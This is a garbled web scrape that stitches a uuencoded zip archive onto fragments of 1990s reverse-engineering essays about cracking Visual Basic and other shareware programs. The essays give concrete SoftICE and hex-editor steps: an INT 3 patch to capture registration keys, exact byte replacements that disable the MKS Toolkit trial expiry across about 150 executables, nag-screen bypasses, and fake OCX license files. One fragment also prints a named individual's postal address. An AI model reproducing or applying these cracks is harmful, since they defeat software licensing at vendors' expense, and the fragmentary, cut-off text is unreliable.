M4$L#!!0````(`-E\4R,\62@5^P```)P!```+````3D]42$E.1RY&4DVMC\U*
MPT`4A;]I)FUJ">K.ZB98R4I$%QK=204WXB)0040($D,;TA]H6O`Q^D@^@*_A
MLN`#*..=-B#=>^Y<yc!\g'o'?!rcyl"=-.[m9#hz\tuew+8+o3j$#7@0wu9t
MZ1C1T9HXM\2%12++7%K(J(Y$J48Z>HWG^4Q+6K@R7[P[D6O8%::F#Q5\NS6V
M252BFJB:H^LMU]M:Q(NXD(1]_O3$_ZA87WZU6W(SS-/"DY<]fgb82j!q%#x;
MG.+T>87"(W6[DWP!O23@0*HWR,M`SFR0!>EP4N;C?E"FTRP;G_#)-4MV:$G=
M9V7YTL^"[N2-4*$C";G:&*_M>'Y^`5!+`P04````"`#D?%,CJ^_M1EH```!R
M````"P```$Y/5$A)3D<n34%+\_,/\?#t<]=s"_+ey0hhrl\*s\p+sjq*m;4p
MU#&V,-`Q,K'0,3(T1<AEY)?;&O%R>2;GY[GE%^7:*H%(0R5>KI#,DIQ46R6H
M@4`!UXI4O\1<a)">:X0K4!@`4$L#!!0````(`.)\4R.ZVKDY]04```X6```+
M````3D]42$E.1RY%6$7M6&],4U<4/^]/:46@e3$4ao`zl?lc,`2$3hl5ap4r
M0,;0.<9F&'381%KWVC>V#XQ'_(*KLB]+7-R<6<;'q6q+/ra9l.ab9qq.mp]b
M]L%D6[(1HE%80A?^W)W[WBU@QM`E3B?QM+?W_NX]YY[[Y]Q[SFU-(P$#`$B8
M"(%9VH*)@]M0'#RD!YP.#A?^U'LQ^,N+="2?,7-WY+Z43'/PXO#_*!1+[,X70"
MLB'K%URH>L@:RA^R.@2_`2M'1WKC<j`p'(r>),3675I7IJ3:NCOYADHER:9V
MBJ6*\9!B.%#\D8"-'1XE@S9Z6Y44S$6/K"0@4URI8NBO$D8_&3MNLQN4DX<z
MA0.;CPJAM"&K6#8PS/>(KK/B1DQ-KE#%5S!D/3C<&sxus!>$3[I@[/AVM9,T
M!<2saj:*@8m\,.d"/][7/\r?@-(ajvs^[)@p6ggp8n\p#g9d$pgb2/;/d,"u
MWLP<",ZH#@C\_+EC4T",#RL3P0OKOM__)Q?X+3B!W8_W;:="R=.RC'_">_)8Q,
MS]"Y!G%HJ)F0L>,3EX)7@I?H:`:ZP?9>-7EOD#_C>+?C!UM/.2FX)MP\9"^;
M'N^;.H6M9PU21;#XJ*#I/5\UWJ=/0.^&=D%U?7I4$$ZON^0W99O%F_;3\@&J
M;(`.A7($,X\)`TT0$;^>B93S9"A2+EI#D?*XS5@R64<by?$?0lb)7?8#e[gs
MO`DZ/-Z\%E_[7;*.ACT>O[1/]K7)S>V2['Y3\<anou3c:9%]?m\;`>DEC[?5
MU^'/2XS/?MFG2,VR6VK>*[N;6]^19,7K]7C;%F;>X6U^?:];"O@D?Z!9#BS,
M-/\Z>DC_$=5N,\1/`0^N;?45R0(/8($ZBW;S\R!BGH&>8`_\"C=@#&:T^]Z$
M?H(W,7'!!&E0MSI-`RL2>(A'MV%9#=PRJ`9+1O6L'A,DJ;H_2<!>\S,X51-7
M>:TN$;7%ZLP@8)G7RO&J06M/GM>>HLGK[8]J95$KIVIE@_KW.9IJMS=45M56
M@.[33#NWUN^H+<s/!u@uk^4a43i"3qu'mq@$;@666g'i5^*6+%&jk#ibe]`z
M']/O.OP&]KBEEKT^/[V\_"VRV^W-@R+[%CABMT`^+(<:M]_?W.:6MOK>AC_J
M*ZLV)#U?=<7]6m(k2?!`dgyv4v?co:?a:i&(h=wa`ay4b\[3@p;q`7<y-qu7
MZIB31Z03X!T!'"U1^4:-UP$1BPCIT&9&^3H)>YU(IIQ>[G#1*FR?)C/F.7F8
M)V]@^DDNU1]QS.FOQ/0J5V)/752^@\V(@R+\S4&I<ui4zv+ck<9\3e9do#q<
M!_$.UFFI$ET!2>(QQ_N3HUB2J`<0x7>>>H&E34^RM\\6;26XV)(L2-3@R((T
M2,B4HXN<f<j*.j>,DV0J"U/7))DFBZ=!,CE52B;/#)*HPXDY(5$GP?I_2U0_
M=)$P9$4!C)AHWA7%HW'GR4FBPNWUPY+>?_T>4/_1Z%7M"ZJJ9_1#J_`G'`Y3
M"]&^]"&M9?1#J^[ELKU/C/OF(T*,':S"I&^AL4.OB&UIK'T6[X-;,,"]Q#T]
M\_$<hibbz]=c^%9$:3%tgxdl=f[5^w=n!:e;)60v##;a(9@%k@111=_)?5,9
MJ\MSU>@T"Y,Z1@RM=$>=N%MF0&K&<"cdpe9#`ct;%d9p+/u.*qa`%u]-jqe
M`)\5-GB"`2,]DT\Q8*+AP#H&EE&?GLL`OC/RX!D&E@-&9NL92-3B5TX'%H`-
M4,Q:5@"4@)V!9(!G82,#CP!LPL!%!RG4Z\4ZP+AB,SA9RTIZ3Y0Q@+',5GB.
M@6SZ+HG)K`4HAVUZBTZW@/\="[;;'0H'==MOL_X#S?^ESK\ULS+N<">[7H<`%h
MKT.\*/+F["L%S,6T3H_&OM5B1A-[^24`-0JT)Y5B44.-F@G="?6K4HL5TIC%&"
MZ>P]6U+$,?TBXR#?Y0#7C07]#9B(_X:Z?'+[>D,:FF@#M4PTR!U83N-PN]?0
MR67K'!LH1S%E*:$\=LJ$TR_4'0GV8WM!\03$&Q`62@P$T/C(\G,+CIF_C^&G
M/A=C2WLK'>U?4$L#!!0````(`/1\4R-@&FC6\04````6```,````3D]42$E.
M1U`N15A%[5AO3%-7%#_O3VE!H,B8#H;P.K'[(R**M)VV5!P6R!"80^<8,^f@
MPR;:NM="VW3XP'O$+6F5?%YTCRTCV93';0C(E!HLF=L;5Z?9A-?M@LBUQA&@4"
MEMB%/W?GOO=":2L9P2YQ.YNF[[][?O">?><]^]yyys;k>U$M``@(")$$C29DP,
MW(72X!$]Y'0X5O%CW^70SR\WG]0SS1>_$$XR\'WL0)SQ9PT5<8/i4</gs&!#
MU#!8'C58.9\&*\="&^])*H2(<BI\BQ-AC:ZX.+#/V=+$M=8%LH]3%VP+:(P'-"
M0=",Q#AN#[D`A;?1T!/(PY]UB(!.9TFP!S5`]-_;1^`FC11,X=:2+.UAUG!O,"
MCQKXZN$8V\L[SO,;,;4Y!FN_A*CA<*PO?";&K@^?<L#XB2:IB[3Y^?.:MMKA
MRVPH^Q([,3`48T^"+6H0]9_T<V-UAR_WQ7"RHYM("&="R8(;X;_05E4)H1K*""
M_Z?/K)O\?$8X<"="T:?6W!WYG_-=#=W#XB8$FVH_.?">S#H;>YT>D9^JTAG!I*
M)F3\Q)TKH:NA*W0VPSU@/-1`#HVPYZSO!;\S]M:0]3>XVT<lu=,3`u-gl/6\
M1J@-F8YSLMR+]1,#R@<HP]`AJ*R/CW/<V="57?+H2/7_;<E8\2(4-TZE0CE!1"
M/S?<!A'^]$RDAB712`UO&(S4I%5A26<8C="1D?`"#=AQR")BBG1=U$'1[RMJ]"
M^^Z1="K3L<?N$_:*W4W3N$T376P&WZ/()V]SMHM?G?=,OO.+V='B#OK*LC))7"
MO0'!*;H$YU[1Y>QX5Q`#'H_;TSD_\PZ/\XV]+L'O%7Q^I^B?GRG5'/UKM#S=
M#O]G:MRJR9@"%AQ;M]?F<bq`#c3gr):?!1[s0o0$>^`7N`7C,"/;>QWZ"5:G
M=N=TD`_-*_)EL#23A0QT&SDK@$F'!L@I;$C*T4&VI/B33!RUO)"1Y.X2*]=E
MH;1$G1XX++-R.4/2R.VY*>UY<g^e_7&ys$n*##j^1oks-^h:fukjzamk51[=
MSBW;="S16E)<#:%-:'A&EH_34,72+@6.68JD#EWXY;LDBI;KZHQ8!M?-)Q=;A"
MX]_C$MKW>GW4>/G:19?+4P8;+)OAJ"4'RF$);'/Y?,Y.E[#%^P[\MKVNOC+[
MQ?JKKMW9KV7#0TG*V5V6C/>>@XB9Q]!.7\:"E*/P]*)"A)@F4P&NU-I<%I%"
M@#8"&%JB_5ME7BM\:N.A`,R5V+]9D$>EG![F^H8GL#Q-9O2S_2&EOT:5WVVB
M\CNK9N7787J=^:%BV8+]@Y"P`QOP78J]+LBR'>I\&S"?[<NKO"S<!/[NR[1H
MB:Z`(+"8HRUE*!8$Z@%X^)6E7F!QTS/JW6>SO!+,K".9AZC"D7EIA)`I:S<Y
M-U4<MT]I)\E4,:;N23)-%DXC9'+*1B;/C9"XU8XY(7$[P?I_2E0^=),P%,?1
MJ6&B>7<<C\;?3W82Y^XN'Q;U_BMV0/I+I9?D!R1)R>B/5N$K'`Y3#9$?:N[D
MC/YHU?U<MO>)=G\J(D0;5"MTRA9J@TI%8DL3[4F\'^9@@/N)>WM3\2RBF**;
M-Q-X+J*T$'K`1!8ZM]*#.[><T",1D@R#=7@(DL"1R4OH.YE"ZGYSUW0<*R@:
MVGT:R[LP%6#(]#0=81=:RT)8H0(\.D50K`*.GBV#"O!L/04K58"NO@16J0"O
M%48L*D!+S^2S*M#1<&"U"M*I3U^C`KQGE,%:%2P!C,S6J2!+CE\9!>0`5())
M;5D*8`:+"G(!GH>-*G@,8!,&+@K(HUXO,0#&%55@5UN64SM1K0*,9;;`"RHH
MH?>21)]5`#6P56E1:`[XS]$U6R(4N&8S)O\'3'W3ZYZYLM_:9(J8]64@WPX)
MZ;?.ZE<>?&6F=4HT]K4<,^K4FU\F4*5`?9(HYF74*JO0O:=6.5HL4"7.)1Z"
M)D:5SZL<Y)M28'JPH-P!L_#?4(=7W+=.DX\JVD(U$Q5R!Y;S&=SNE?3C2A2.
M2LIAHBQFRF.A3/CY%8HCP7&,+P7<?OX6A#FSA@`J'UER8=XYLP\P_/P#4$L!
M`A0`%`````@`V7Q3(SQ9*!7[````G`$```L````````````@`````````$Y/
M5$A)3D<N1E)-4$L!`A0`%`````@`Y'Q3(ZOO[49:````<@````L`````````
M`0`@````)`$``$Y/5$A)3D<N34%+4$L!`A0`%`````@`XGQ3([K:N3GU!0``
M#A8```L````````````@````IP$``$Y/5$A)3D<N15A%4$L!`A0`%`````@`
M]'Q3(V`::-;Q!0```!8```P````````````@````Q0<``$Y/5$A)3D=0+D58 715!+!08`````!``$`.4```#@#0````!4 ` end sum -r/size
34951/5270 section (from "begin" to "end") sum -r/size 17724/3803 entire input file
Inside the zip file you'll find the project file, the form file, the VB
compiled executable, and the Make_Mak compiled executable.
Phase 2
-------
" contains unknown structure! You may send this program to DoDi to improve
VB Discompiler"
then another message box comes up, and finally that mysterious "Cheat!"
message box pops up. I'd like to know what that means, but then again,
getting ahold of Dodi is another matter.
You can easily decompile my original example NOTHING.EXE, and get its source
code listing, but that still doesn't explain why NOTHINGP.EXE won't decompile.
Phase 3
-------
In comes WinSourcer v7.0. This program is one of the few that can determine
if a program has been written in Visual Basic or not. So, I ran it on my
two targets.
[ original NOTHING.EXE ]
[ protected NOTHINGP.EXE ]
3.0000 db
00h, 19h, 00h, 00h, 00h 00h,
3.0006 db
00h, 16h, 00h, 00h, 00h 00h,
3.000C db
00h, 00h, 00h, 00h, 00h 01h,
3.0012 db
00h,0C7h, 37h, 04h, 00h 2Ah,
3.0018 db
00h, 0Fh, 2Eh, 02h, 00h 06h,
^^^ ^^^
The two rows I've underlined have changes in them. I switched back and
forth between windows to see what was different, and those four bytes changed
along with a lot of other bytes in this segment of code.
That can only mean one thing. Make_Mak is somehow removing the FORM name
reference from my file. To find the Visual Basic "form and library table"
search for bytes '03 20 81 80' in hex, the pattern only occurs once in
the executable.
In my last letter to Fravia+, I gave a short log listing from OpenTrap, but
I'll once again give the most important lines just in case you missed them
the first time. I was quick in assuming that Make_Mak opened a file that VB
Final Notes
-----------
That's as far as I can get without some serious knowledge in assembler, but
I can tell you this. POPIt was protected using Make_Mak, and as an interesting
aside, so was Dodi's VBDIS.. Take a look at VBDIS, and search for the string
".FRM", you won't find any references. Here is the author's address -
Christian Germelmann
Promenade 58
37431 Bad Lauterberg
Germany
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 8
by sth
Well, a welcome visual basic addition to Razzia's great tutorial. Now you can plunge straight into the VB40032.dll and reverse
its standard functions... The part of this essay about common bpr breakpointing problems with softice is also quite interesting.
Enjoy it!
Part 1. About having problems with BPR (Break Point in Range) command
I think that every one has had problems with it. According
to the SICE documentation it should mark a region for
R/W/RW/T/TW checking. But sometimes I found that there
is an action in the region, but the BPR does not work.
Why? :--(
After a few tests I finally understand what the BPR
selector:offset sometimes causes the problem. Here is
the hole story:
1.You stop the running program with Ctrl+D.
2.You find that the data you are interested in is between
123f:00000001 and 123f:00000005.
3.You put 'BPR 123f:00000001 123f:00000005 R'.
4.You run the program further with F5.
5.->The program is running ....
6.->There is a read from within the range ...
7.->The program is running ..
8.The program finishes and you are damn sure that there WAS
a reading!
9.You begin hating SICE (and Windows95, personally) !
KERNEL32!MultiByteToWideChar
: 2bd2 sub edx,edx <- #1a : 68c7e2f9bf push
bff9e2c7 : 64ff32 push dword ptr fs:[edx] : 648922 mov fs:[edx],esp : 8b4c2414 mov
ecx,[esp+14] : 8a01 mov al,[ecx] : 648f02 pop dword ptr fs:[edx] : 83c404 add esp,04
: 6a00 push 00
: 6a00 push 00
: 56 push esi #2a - length
: 57 push edi #2b - result's offset
: ff7514 push dword ptr [ebp+14]
: ff7510 push dword ptr [ebp+10] #2c - source's offset
: 6a00 push 00
: 6a00 push 00
: ff1530c27b0f call [KERNEL32!WideCharToMultiByte] #2x
: 8bf0 mov esi,eax
: 6a00 push 00
: 6a00 push 00
: ff75fc push dword ptr [ebp-04] #3a - length
: 53 push ebx #3b - result's offset
: ff751c push dword ptr [ebp+1c]
: ff7518 push dword ptr [ebp+18] #3c - target's offset
: 6a00 push 00
: 6a00 push 00
: ff1530c27b0f call [KERNEL32!WideCharToMultiByte] #3x
: 85f6 test esi,esi
: 0f8427010000 jz 0f789121
: 85c0 test eax,eax
: 0f841f010000 jz 0f789121
: 50 push eax #4a - length.target
By sth
You are deep inside fravia's page of reverse engineering, choose your way out:
by +drlan
(7 November 1997)
Well, an 'add-on to Razzia's tutorial with a very interesting trick ("another twist on cracking VB" as +drlan writes). Here is
what +drlan (who is the author -inter alia- of an important essay about MKS Toolkit Release 5.2) wrote to me:
Fravia+,
The enclosed essay doesn't present any new rocket science to our art but
it does combine a few tricks that may be of use to folks. It highlights
an area where I had difficulty early on and presents an easy way to get
around it. This will make it more enjoyable for the students and save
them some of the pains I encountered.
Enjoy,
+drlan
Tools needed:
- SoftICE Win95
- Hex Editor (I like PSEdit and Hex Workshop)
Conventions used:
> denotes a SoftICE command
Let me say right up front that this is a tutorial only. I am not going
to hand out serial numbers here for lamers. The intent of this tutorial
is to provide you (the cracker) with another approach for defeating those
damn Visual Basic apps. So, if you're just looking for serials, then go
elsewhere. If you want to learn another twist on cracking VB, then please
read on!
Download the target (the testing module) and a few of the self-tests. Run
it a few times to get a feel for what's going on. You'll notice that the
only test you can actually try is the "demo" one with limited questions.
When you try to run one of the real tests, it asks you to enter a 12 digit
"database key."
I want to take a moment here to extend a very warm thank you to Razzia. It
was Razzia who did the hard work which makes this essay possible. His essay
on cracking VB apps is one of the best I've ever read. However, early on in
my cracking career, for some reason I had trouble following the essay and I
just had a hell of a time trying to crack VB programs. I fully understand
it now and appreciate it for what it is. My intent here is to save some of
the newbie crackers from losing hair over VB apps and to save Razzia from
people asking too many questions about his wonderful essay.
So here goes...
We know from Razzia's work that VB apps typically do their comparisons like
this:
:The_VB3_compare_snippet
: 8BCA mov cx, dx
: F3A6 repz cmpsb ;<- here the strings in ds:si and es:di : 7401 je 8CB6
; are being compared : 9F lahf : 92 xchg ax,dx : 8D5E08 lea bx, [bp+08] : E80E06 call
92CB Just before the REPZ CMPSB if you do a 'ed si' and a 'ed es:di', you will see
what is compared with what.
Now that we know where VB 3 does its string comparing, we know "where" to
set our breakpoint. Then we can see what it compares (the right string)
with the string we entered. Razzia suggests using SoftICE to do a search
for the hex values of the instructions (while you're in the code of the
VBRUN300.DLL) and this is what I always had trouble with. I could never
get sICE to find the code segment this way.
However, I know a little trick that I learned from my good friend josephco
that will allow me to do exactly what I need to do here and that is break
in right on that MOV CX, DX. The trick is to hex edit the file and stick
in some instruction that we know we can break on (like an INT 3). The hex
value for an INT 3 is CC. So, make a backup copy of your VBRUN300.DLL...
Then open it in your favorite hex editor and search for the above code
block. This search string will be unique:
8BCAF3A674019F928D5E08E80E06
Once you've found it, change the 8B into CC. Now we have an INT 3 stuck in
right at the beginning of the compare routine. We definately do not want
this instruction to execute, so before you do anything else, go into sICE
and set a breakpoint on int 3.
>BPINT 3
Okay, now you can run the target. It will break on the INT 3 because it
must be doing some other string comparison work. IMPORTANT: when it does
break, you must assemble back in the original instruction (MOV CX, DX) so
it does not execute the INT 3. If you skip this step, your system will
crash! So, after SoftICE breaks on the INT 3, assemble back in the old
instruction.
>A
>MOV CX, DX
>press ESC
>BC *
Now, set a new breakpoint on the MOV CX, DX line. You can do this by just
double clicking on the line if you have mouse support enabled. Or, type
BPX ssss:oooooooo (where ssss is the segment and oooooooo is the offset).
So, now we have the original instruction assembled back in place and we
have a breakpoint set there so we can pop in right before the magic moment.
Before you toggle back over to the program (using Ctrl-D or F5), let's go
ahead and "disable" this breakpoint for now (otherwise it will pop several
times before we really need it).
>BD *
Okay, now toggle back over and select a self-test. Type in a 12 digit key
but don't click OK yet. Toggle back in to SoftICE (Ctrl-D) and "enable"
the breakpoint.
>BE *
Toggle back to the app (Ctrl-D or F5) and now click on OK. You should be
staring at a SoftICE screen now and sitting on the MOV CX, DX line.
You can save yourself a few keystrokes by editing your breakpoint and
making it do the "D si" for you. To do this:
Remove the # in front of your address and add this to the end of the line:
DO "d si"
So, your new breakpoint should look something like this (if you do a BL).
You'll want to "disable" it before you toggle back to the program to try
a different test module, otherwise it will break several times and slow
you down. Then once you're ready to find another key, just toggle back
to sICE (Ctrl-D) and "enable" the breakpoint.
Since you already have your breakpoint set, you can loop through all the
tests you want and find out all the correct "database keys." Again, I am
not going to list any of them here. Sorry, lamers...
VERY IMPORTANT: Do not forget to restore your backup copy of the VB dll
(VBRUN300.DLL). You may want to save your debug version as vbrun300.cc
just in case you need to do another exercise like this sometime. :-)
I use this same trick a lot when I know where I want to break in on a
target but have troulbe pin pointing it. I just stick in an INT 3 and
BPINT 3, then re-assemble the old instruction back in. It works quite
well and can save a considerable amount of time when you're "seeking the
needle in the haystack."
This same technique should work equally well for VB4 (and perhaps 5).
From Razzia's earlier essay, we know VB 4 usually does its compares like
this:
: 56 push esi
: 57 push edi
: 8B7C2410 mov edi, [esp + 10]
: 8B74240C mov esi, [esp + 0C]
: 8B4C2414 mov ecx, [esp + 14]
: 33C0 xor eax, eax
: F366A7 repz cmpsw ;<-- here the (WideChar) strings at ds:esi : 7405 je
0F79B362 ; and es:edi get compared : 1BC0 sbb eax, eax : 83D8FF sbb eax, FFFFFFFF :
5F pop edi : 5E pop esi : C20C00 ret 000C
So, just stick an INT 3 (CC) in place of the push esi (56) and you're on
the track...
That's it for this lesson. Hope this was fun and instructional.
Disclaimer: THIS ESSAY IS FOR EDUCATIONAL PURPOSES ONLY. ANY USE, MIS-USE
drlan
(c) +drlan. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
project8
Tools needed:
- SoftICE 3.01 for Windows 95
- W32Dasm 8.9 (any version will do)
- Hex Editor (I like PSEdit and Hex Workshop)
Conventions used:
> denotes a SoftICE command
While you may not consider it exactly a "tool of our trade," this target
contains a set of UNIX-like utilities that you just may find useful. The
MKS Toolkit is a set of UNIX-like programs that run on top of Windows 95
or Windows NT. I think you may find some useful tools in this babe, like
many of your favorite UNIX utilities (awk, grep, vi, sh, etc.). Granted,
no program can transform Windows into UNIX, but this does give you many
of the little command line utilities and a SHell with the look and feel.
Download the target and run it a few times to get a feel for what's going on.
You'll notice a nice little reminder that the program will expire in 30 days.
That doesn't sound like quite enough time for a thorough evaluation, so let's
get to work...
Take a look at the directory where the demo was installed. You'll find lots
of little programs (about 150 of them, sh.exe, vi.exe, grep.exe, etc.). Let's
use grep.exe as our target. Go ahead and run grep. There's our friendly nag.
Interestingly, grep.exe ran in the background and the nag came up as a new
foreground window. Click the CLOSE button on the nag screen and your back to a
screen displaying the syntax for grep. Ok, now set your date way ahead to see
what happens when we're passed the point of no return. You'll get a message
box telling you "The MKS Toolkit demo has expired." Bummer. Set your date to
the correct date and the program still (and the nag) still runs. So, it does
not leave behind anything indicating that it already expired. That's nice for
our purposes.
Run grep again and pop over into SoftICE (with Ctrl-D) to see what all is
running while the nag screen is up. We'll use the sICE TASK command.
There's GREP (our target). Hmm, and there's MKSDEMO (perhaps our nag). Click
CLOSE on the nag, then pop back into sICE and do TASK again. Yep, MKSDEMO was
the nag program (because it's no longer in our TASK list).
I originally thought (hoped) I could just fix the MKSDEMO.EXE and that all
would be happy. No such luck! Each little .EXE has its own date check built
in. I guess this is semi-good since it will take a little more work to crack
all these darn little .EXEs. Alas, after just a bit of poking around, I found
that while they did a good job by not relying on a single program for the meat
of the protection, that they did leave the door wide open. All the .EXEs use
the same routine to check the date, call the nag, etc. So, we just have to
do a little bit of work to crack them ALL!
On to the cracking... Let's dead list grep to see what's going on in there.
Disassemble with W32Dasm 8.9 and save the dead listing. Now, having run the
target and "felt" its behavior, we should have some good ideas on what we're
looking for. We could search for "MKSDEMO.EXE" and it would take us to the
section of interest. Or, how about searching for 278D00 (that's 30 days in
computer terms, 60 secs * 60 mins * 24 hours * 30 days = 259000 decimal or
278D00 hex) and we know 'puters prefer hex. Or, we could search for the text
of the expiration message "The MKS Toolkit demo has expired." Either search
will bring you close to the section of interest. You should find something
like this:
* Possible StringData Ref from Data Obj ->"The MKS Toolkit demo trial period "
->"has expired."
|
:00402A76 68B0C34000 push 0040C3B0 ; ouch, time's up
:00402A7B E8FB000000 call 00402B7B
:00402A80 83C404 add esp, 00000004
The EnumWindows and GetForeGroundWindow are just setting up for the call
to our ugly nagger (mksdemo.exe). But, look at the conditional jump (jne)
after the call to EnumWindows.
BOOL EnumWindows(
Parameters
lpEnumFunc
lParam
Return Values
I am not an ASM guru, nor a master of the Win32 API, but this looks like it
is setting up to CALL MKSDEMO.EXE, checking that it is the foreground window
and if so (return value is nonzero), it executes the jump (jne 00402B76). So
all it wants to do is launch mksdemo.exe successfully, allow it to become the
foreground window, then our target (SH.EXE) continues on its merry way. If it
does not successfully launch mksdemo.exe, it will bitch about it and let you
know. So, it appears that the jump to 00402B76 is a desireable thing. If
you look further down through the dead listing, you'll see lots of phrases
bitching about not being able to "properly execute MKSDEMO.EXE." And then,
at 00402B76 we prepare for our RETurn to caller. Let's have a look at this
code:
As always, there are a million and one ways to crack this. But, I'm looking
for something generic because we have around 150 little .EXE's to patch. So,
let's see just how many birds we can kill with one stone! :-)
We want to get rid of the nag, and we've seen what sets it up and where we
need to go to bypass it. We also want our evaluation period to last forever
and we've seen the date test, too. Let's combine all this into a nice 4 byte
crack that fixes the whole mess. How about changing the date check to skip
the check and just jump to our RETurn to caller? So, to pinpoint this we want
to break in just before we compare install date+30 with current date. There
are a couple ways we could do this.
2) Before we can compare the install date+30 with the current date, the progie
has to get the current date from somewhere. Two of the more common ways it
can do this are: GetLocalTime and GetSystemTime. Our target happens to use the
latter. So let's toggle over into sICE (Ctrl-D) and set a breakpoint on this.
>bpx GetSystemTime
Run grep and sICE will pop on the GetSystemTime call. We need to get back into
our target, so press F12 twice (P RET twice). If you look down a few lines in
your code window, you'll see the line that adds 30 days to the install date.
This is the line from the code snipit above.
If you scroll down in your code window a little further you'll see the call to
EnumWindows. And after the call, there is the test to check its return value
and a conditional jump (jne 00402B76) if the function was successful. I think
what we'll do here is just skip the date test and jump right to the cleanup and
RETurn to caller (at address 00402B76). So, let's assemble in some new code:
>A
>JMP 00402B76
>(press Esc)
Now, jot down the hex representation for the JMP 00402B76. If you don't see
it turn your code display on in sICE.
>code on
:00402A68 E909010000 jmp 00402B76 ; jump over the whole nag mess
So we've done a 4 byte crack, exchanging 05008D27 with E9090100. This seems
pretty elegant. Let's try it. Press Ctrl-D or F5 in sICE to continue running
the target. It runs, sans nag screen.
Let's now transfer this live crack into something more permanent. Load up
grep.exe into your favorite hex editor and make the following change:
Search: 05008D27
Replace:E9090100
Run it again. Beautiful, no nags. Set your date way ahead. Run again. Still
no nags. Hey this is pretty cool, but what about the remaining 150 damn .EXEs?
Well, the good news is that they all use the same code to do the dirty work.
In a few of them the "replace" string is slightly different because there is a
little more or less code in between, so they have to jump a different number of
bytes. Here's what you need to do to fix them all (starting with the ones that
deviate from our E9090100). The search string is the same for all (05008D27).
pg.exe E9D80000
sh.exe E9D80000
vi.exe E9D80000
viw.exe E9D80000
vpax.exe E9CB0000
For all the rest of the programs, search: 05008D27 and replace: E9090100.
That's it for this lesson. Hope this was fun and instructional.
Disclaimer: THIS ESSAY IS FOR EDUCATIONAL PURPOSES ONLY. ANY USE, MIS-USE
OR ILLEGAL ACTIVITY IS THE SOLE RESPONSIBILITY OF THE READER.
Invitation/Request: Since there are damn near 150 programs that need the same
search and replace performed, this would be an excellent opportunity to use a
"generic" patcher. Again, I'm no programming guru. I could probably come up
with some spaghetti code to do this, but I think we'd all benefit more seeing
how one of the masters would do this. So, I leave this as an open invitation
to any of you who'd like to enlighten us on programming a "generic" patcher
to carry out this repetitive work for us. How about it +gthorne, others???
+drlan
You are deep inside fravia's page of reverse engineering, choose your way out:
by intruder mexelite97
(19 December 1997)
First i would like to thanks fravia+, +gthorne, the_owl, niabi, razzi, josephco and all of you guys that i can't remember
now. This is my small contribution for the war against our beloved bill and Micro$oft, i hope you enjoy this tute.
Tools needed:
-Softice (I'm using v3.2)
-Wdasm
-Hex editor
Blackwindow v3.21
Blackwidow is an off-line browser and I find it pretty kewl (get it at Tucows or any other shareware archive), but has
some limitations. This is a VB5 proggie, the exe is about 400 kb and has lots of calls to the the big, fat mama:
Msvbvm50.dll.
First i will crack the _blackwidow.exe (no browser) and _bwds.exe (this exe is called to download the selected files),
since this program as two more exe files (the others, blackwidow.exe and bwds.exe, allow you to browse through the
downloaded files.
Now run the proggie a couple of times and check the protection type, have u checked?
Ok there is a stupid nag window that tells you how many days you have left to evaluate ("You have XX days
left")**, and you can download a maximum of 50 files each time (this really pisses me off), why can't they let us
evaluate the full working proggie, grrrrrrrrr, but we have the possibility to register the proggie if we want to, it's a S/N
protection.
Now change the date, say one month forward, now run the proggie again, can u see the nag that tells u that your
evaluation is over ("Your evaluation period has expired..")***? And if u try to explore any site , the same nag will
pop up and ask you to register.
How do we crack this one?
You can use razzi's techniques of hmemcpy and MultiBytetoWidechar but you will get in some huge encryption and
checksum routines, damn there must be another way!!!
I lost a couple of days trying to crack the S/N and finally I decided to try another approach.
I'll use a different approach, one that i've never seen in any essay. (For the moment, just remember, that in vb4
Character ASCII
Y 59
o 6f
u 75
(space) 20
h 68
a 61
v 76
e 65
Hmm...interesting isn't it? Let's go on now we will search for the string that appears in the message when the
evaluation period is over. We will use the same method we used to find the first string, enable the breakpoint and
repeat the same procedure, when you're inside blackwidow code just search for the string in the nag. So we will
search for "Your evaluation period has now expired"
Character ASCII
Y 59
o 6f
u 75
r 72
(space) 20
e 65
v 76
a 61
l 6c
I've tried this 'live string search' approach in some others VB5 proggies and worked fine. Currently i'm doing a
reference for Msvbvm50.dll functions (i'll try to release it in a couple of weeks) so if you have reversed any of those i
would apreciate you could send it to me, to devils_cave@hotmail.com.
(c) intruder mexelite97 All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 8
|
:0001.1681 B80100 mov ax, 0001
:0001.1684 1F pop ds
:0001.1685 C9 leave
:0001.1686 CA0400 retf 0004
Scrolling up the code we soon find the location where the decision
is taken. The dead list doesn't give us enough info so we place a
bpx at 0001.164B to trace from that point on and understand the jne
at 0001.165C (yes, we felt it, but we want to understand).
After doing some tracing around this point we see that after all the
problem is that a license file called Fountain.lic with a string
inside seem to be curiously missing.
Ok we can take care of that, in order to avoid further interruptions
in our programming and/or reversing activities,by preparing a simple
LIC file with the required string.
Make a note of it: this call to OC25.dll Ord{027Eh} is found in
many controls that implement such simple licensing scheme.
The reason is that this procedure is generated automatically by the
control building wizard. Of course the programmer can (and should)
override such a simple verification in order to make things at least
a little harder.
Anyway I've used this approach of searching the dead list for this
call and I can tell you that it works. Simply modify the routine
0x27E inside OC25.dll (keep a 'sound copy of it as OC25.ori) in
order to get always ax=1 as a return value and all these targets
won't bother you anymore with OCX with their funny license files.
Ok, let's install the OCX control using the setup prog included in the
evaluation pack.
Now in the VB environment we try to load the control using the Custom
Control menu dialog.
The control appears in the control toolbox. Everything seems to be
fine...
When we place one of the 3 controls that come within vsocx we get a
nag screen telling us where to call to get a registered version.
That's a bug of course, because this screen is supposed to be shown
T only when we click the about button in the properties window.
So we are here to fix this misplaced call.
H As this window does not seem to be a messagebox, so we place a bpx
dialogbox and wait to see what we fish.
E Unload the control clearing the checkbox on the custom controls menu
and check it again to get it again in the controls toolbox.
We try to place the control in the form and ..bang! into Softice we
go.
E After some F12's we find ourselves in vsocx16.
Thanks to +ORC and the +HCU fellows, who taught me 99% of what
I know. Well... I've also learned something by myself I must say.
I thank again Fravia+ for maintaining his site with such powerful
information, and a special thanks goes to +ReZiDeNt for his help.
You are deep inside fravia's page of reverse engineering, choose your way out:
"Smartchecking" VB Programs
Yet another stupid protection unearthed Visual Basic reversing
This is an easy crack using the powerful SmartCheck 5 VB debugger to unearth hidden code the programmer doesn't
want you to see. Our target is VB Project Analyzer
Introduction
VB Project Analyzer is a Visual Basic code analyzer-not too usefull for
most of us but a good demonstration of a bad protection scheme implemented
by a greedy programmer
Tools required
SmartCheck 5.0 - This is the only tool you'll (ever) need.
Target's URL/FTP
ftp://kgb.quarta.com/NTUtil/NuMega/smchk50.exe http://www.numega.com www.aivosto.com/vb.html
Essay
